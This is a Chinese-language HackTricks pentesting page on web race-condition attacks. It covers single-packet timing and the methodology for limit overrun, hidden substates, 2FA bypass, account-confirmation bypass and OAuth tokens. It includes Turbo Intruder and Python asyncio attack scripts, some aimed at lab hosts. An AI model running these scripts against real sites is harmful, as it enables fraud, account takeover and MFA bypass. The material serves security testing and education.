hacktricks/pentesting-web/race-condition.md

20 KiB
Raw Blame History

竞态条件

使用 Trickest 来轻松构建并自动化工作流程,这些工作流程由世界上最先进的社区工具提供支持。 立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

从零开始学习 AWS 黑客攻击直到成为英雄,通过 htARTE (HackTricks AWS 红队专家)

其他支持 HackTricks 的方式:

利用竞态条件

滥用竞态条件的主要问题是您需要请求并行处理,并且时间差非常短(通常>1ms。在以下部分中提出了不同的解决方案以实现这一点。

单包攻击HTTP/2/ 最后字节同步HTTP/1.1

HTTP2 允许在单个 TCP 连接中发送 2 个请求(而在 HTTP/1.1 中它们必须是顺序的)。 使用单个 TCP 数据包完全消除了网络抖动的影响,因此这显然也有利于竞态条件攻击。然而,两个请求对于可靠的竞态攻击来说是不够的,这要归功于服务器端抖动 - 应用程序请求处理时间的变化是由不可控变量(如 CPU 竞争)引起的。

但是,使用 HTTP/1.1 的“最后字节同步”技术,可以预先发送大部分数据,保留每个请求的一小部分,然后用单个 TCP 数据包“完成”20-30个请求

预先发送每个请求的大部分数据

  • 如果请求没有正文,发送所有头部,但不设置 END_STREAM 标志。保留设置了 END_STREAM 的空数据帧。
  • 如果请求有正文,发送头部和除最后一个字节外的所有正文数据。保留包含最后一个字节的数据帧。

接下来,准备发送最后的帧

  • 等待 100 毫秒以确保初始帧已发送。
  • 确保 TCP_NODELAY 被禁用 - 关键是 Nagle 算法批处理最后的帧。
  • 发送 ping 数据包以预热本地连接。如果不这样做,操作系统网络堆栈会将第一个最终帧放在单独的数据包中。

最后,发送保留的帧。您应该能够使用 Wireshark 验证它们是否落在单个数据包中。

{% hint style="info" %} 请注意,它不适用于某些服务器上的静态文件,但静态文件与竞态条件攻击无关。 {% endhint %}

使用这种技术,您可以使 20-30 个请求同时到达服务器 - 不受网络抖动的影响:

适应目标架构

值得注意的是,许多应用程序位于前端服务器之后,这些服务器可能决定将某些请求通过现有连接转发到后端,并为其他请求创建新的连接。

因此,重要的是不要将不一致的请求时间归因于应用程序行为,例如锁定机制,这些机制一次只允许单个线程访问资源。此外,前端请求路由通常是基于每个连接进行的,因此您可以通过执行服务器端连接预热来平滑请求时间 - 在执行攻击之前通过您的连接发送一些不重要的请求(这只是在开始实际攻击之前发送几个请求)。

基于会话的锁定机制

一些框架尝试通过使用某种形式的请求锁定来防止意外数据损坏。例如,PHP 的原生会话处理器模块一次只处理一个会话的一个请求

发现这种行为极其重要,因为它可能会掩盖容易被利用的漏洞。如果您注意到所有请求都在顺序处理,请尝试使用不同的会话令牌发送每个请求。

滥用速率或资源限制

如果连接预热没有任何变化,有几种解决这个问题的方法。

使用 Turbo Intruder您可以引入短暂的客户端延迟。然而由于这涉及将您的实际攻击请求分散到多个 TCP 数据包中,您将无法使用单包攻击技术。因此,在高抖动目标上,无论您设置什么延迟,攻击都不太可能可靠地工作。

相反,您可能可以通过滥用常见的安全功能来解决这个问题。

Web 服务器通常延迟处理请求,如果发送得太快太多。通过发送大量虚假请求故意触发速率或资源限制,您可能能够引起适当的服务器端延迟。这使得即使在需要延迟执行的情况下,单包攻击也是可行的。

{% hint style="warning" %} 有关此技术的更多信息,请查看原始报告 https://portswigger.net/research/smashing-the-state-machine {% endhint %}

攻击示例

  • Tubo Intruder - HTTP2 单包攻击1 个端点):您可以将请求发送到 Turbo intruderExtensions -> Turbo Intruder -> Send to Turbo Intruder),您可以在请求中更改您想要暴力破解的值,例如在 csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s 中的 %s,然后从下拉菜单中选择 examples/race-single-packer-attack.py

如果您打算发送不同的值,您可以使用这段代码,它使用来自剪贴板的单词列表:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} 如果网站不支持HTTP2仅支持HTTP1.1),请使用Engine.THREADEDEngine.BURP代替Engine.BURP2。 {% endhint %}

  • Tubo Intruder - HTTP2单包攻击多个端点如果你需要向1个端点发送请求然后向其他多个端点发送多个请求以触发RCE你可以更改race-single-packet-attack.py脚本,如下所示:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • 它也可以在 Burp Suite 的 Repeater 中通过新的“Send group in parallel”选项使用。
  • 对于 limit-overrun,你可以在组中添加相同的请求 50 次
  • 对于 connection warming,你可以在组的开头添加一些对网站服务器的非静态部分的请求
  • 为了在处理一个请求和另一个请求之间的过程中延迟,在两个请求之间你可以添加额外的请求
  • 对于一个多端点的 RC你可以开始发送进入隐藏状态的请求,然后紧接着发送50个请求利用隐藏状态

原始 BF

在之前的研究之前,这些是一些使用过的有效载荷,它们尝试尽可能快地发送数据包以引起 RC。

  • Repeater: 查看前一节的示例。
  • Intruder: 将请求发送到Intruder,在Options 菜单中设置线程数30,选择Null payloads作为有效载荷并生成30个
  • Turbo Intruder
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC 方法论

超限/TOCTOU

这是最基本的竞态条件类型,漏洞通常出现在限制你可以执行某个操作的次数的地方。例如,在网上商店多次使用同一折扣码。一个非常简单的例子可以在这个报告这个bug中找到。

这类攻击有很多变种,包括:

  • 多次兑换礼品卡
  • 多次评价产品
  • 提取或转账超过账户余额的现金
  • 重复使用单个CAPTCHA解决方案
  • 绕过反暴力破解的速率限制

隐藏子状态

更复杂的RC将利用机器状态中的子状态,这可能允许攻击者滥用他本不应该访问的状态,但存在一个小窗口让攻击者访问它。

  1. 预测潜在的隐藏且有趣的子状态

第一步是识别所有写入或从中读取数据的端点,然后使用该数据进行重要操作。例如,用户可能存储在数据库表中,该表通过注册、编辑个人资料、密码重置启动和密码重置完成来修改。

我们可以使用三个关键问题来排除不太可能引起冲突的端点。对于每个对象及其关联的端点,问:

  • 状态是如何存储的?

存储在持久的服务器端数据结构中的数据是理想的利用目标。一些端点完全在客户端存储它们的状态例如通过电子邮件发送JWT的密码重置 - 这些可以安全地跳过。

应用程序通常会在用户会话中存储一些状态。这些通常在一定程度上受到子状态的保护 - 稍后会详细介绍。

  • 我们是在编辑还是在添加?

编辑现有数据的操作(例如更改账户的主要电子邮件地址)有很大的冲突潜力,而仅仅是向现有数据添加(例如添加额外的电子邮件地址)的操作不太可能除了超限攻击之外的其他漏洞。

  • 操作是基于什么关键字的?

大多数端点都操作特定的记录,使用'关键字'进行查找,例如用户名、密码重置令牌或文件名。要成功攻击,我们需要两个使用相同关键字的操作。例如,想象两种合理的密码重置实现:

  1. 寻找线索

此时,是时候发起一些RC攻击针对潜在有趣的端点,尝试找到与常规结果不同的意外结果。任何与预期响应的偏差,如一个或多个响应的变化,或二阶效应,如不同的电子邮件内容或会话中的可见变化,都可能是表明有问题的线索。

  1. 证明概念

最后一步是证明概念并将其转化为可行的攻击

当你发送一批请求时,你可能会发现一个早期的请求对触发了一个脆弱的最终状态,但后来的请求覆盖/使其无效,最终状态无法利用。在这种情况下,你会想要消除所有不必要的请求 - 两个请求应该足以利用大多数漏洞。然而,减少到两个请求会使攻击更加依赖时机,因此你可能需要多次尝试攻击或自动化它。

时间敏感攻击

有时你可能找不到竞态条件,但精确时机发送请求的技术仍然可以揭示其他漏洞的存在。

一个例子是当高分辨率时间戳被用来代替加密安全的随机字符串来生成安全令牌。

考虑一个密码重置令牌仅使用时间戳随机化的情况。在这种情况下,可能可以同时触发两个不同用户的密码重置,它们都使用相同的令牌。你需要做的就是使请求的时间精确到它们生成相同的时间戳。

{% hint style="warning" %} 例如,为了确认前面的情况,你可以同时请求2个重置密码令牌(使用单个数据包攻击)并检查它们是否相同。 {% endhint %}

查看这个实验室中的例子

隐藏子状态案例研究

支付并添加商品

查看这个实验室来了解如何在商店支付额外添加一个你不需要支付的商品。

确认其他电子邮件

这个想法是同时验证一个电子邮件地址并将其更改为另一个,以找出平台是否验证了更改后的新电子邮件。

基于Cookie的更改电子邮件到2个电子邮件地址

根据这篇文章Gitlab因为可能将一个电子邮件的验证令牌发送到另一个电子邮件而容易受到攻击。

你也可以查看这个实验室来了解这方面的内容。

隐藏的数据库状态/确认绕过

如果2个不同的写操作用于添加信息数据库中,会有一小段时间只有第一个数据被写入数据库。例如,在创建用户时,用户名密码可能会被写入然后是用来确认新创建账户的令牌被写入。这意味着在很短的时间内,确认账户的令牌是空的

因此,注册一个账户并发送几个带有空令牌token=token[]= 或其他变体)的请求来立即确认账户,可能允许确认一个你无法控制电子邮件的账户

查看这个实验室来查看一个例子。

绕过2FA

以下伪代码演示了一个网站如何可能对这种攻击的竞态变体容易受到攻击:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

正如您所见,这实际上是在单个请求的时间跨度内的多步骤序列。最重要的是,它经历了一个子状态,在该子状态中,用户暂时拥有有效的登录会话,但尚未强制执行MFA。攻击者可能通过发送登录请求以及对敏感的、已认证的端点的请求来利用这一点。

OAuth2 永久持久化

有几个OAuth提供商。这些服务允许您创建一个应用程序并认证提供商已注册的用户。为此,客户端将需要允许您的应用程序访问他们在OAuth提供商内的一些数据。
所以到目前为止只是一个常见的使用google/linkdin/github...登录,在您被提示一个页面说:“应用程序<InsertCoolName>想要访问您的信息,您是否同意?

authorization_code 中的竞态条件

问题出现在您接受它并自动向恶意应用程序发送一个**authorization_code时。然后,这个应用程序滥用OAuth服务提供商中的竞态条件来为您的帐户生成多个AT/RT**认证令牌/刷新令牌)从**authorization_code。基本上,它会滥用您接受应用程序访问您的数据的事实来创建多个帐户**。然后,如果您停止允许应用程序访问您的数据一对AT/RT将被删除但其他的仍然有效

Refresh Token 中的竞态条件

一旦您获得了有效的RT,您可以尝试滥用它来生成多个AT/RT即使用户取消了恶意应用程序访问他的数据的权限多个RT仍然有效。

WebSockets 中的RC

WS_RaceCondition_PoC您可以找到一个用Java编写的PoC并行发送websocket消息来滥用Web Sockets中的竞态条件

参考资料

通过 htARTE (HackTricks AWS Red Team Expert)从零到英雄学习AWS黑客攻击

支持HackTricks的其他方式


使用 Trickest 轻松构建并自动化工作流程,由世界上最先进的社区工具提供支持。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}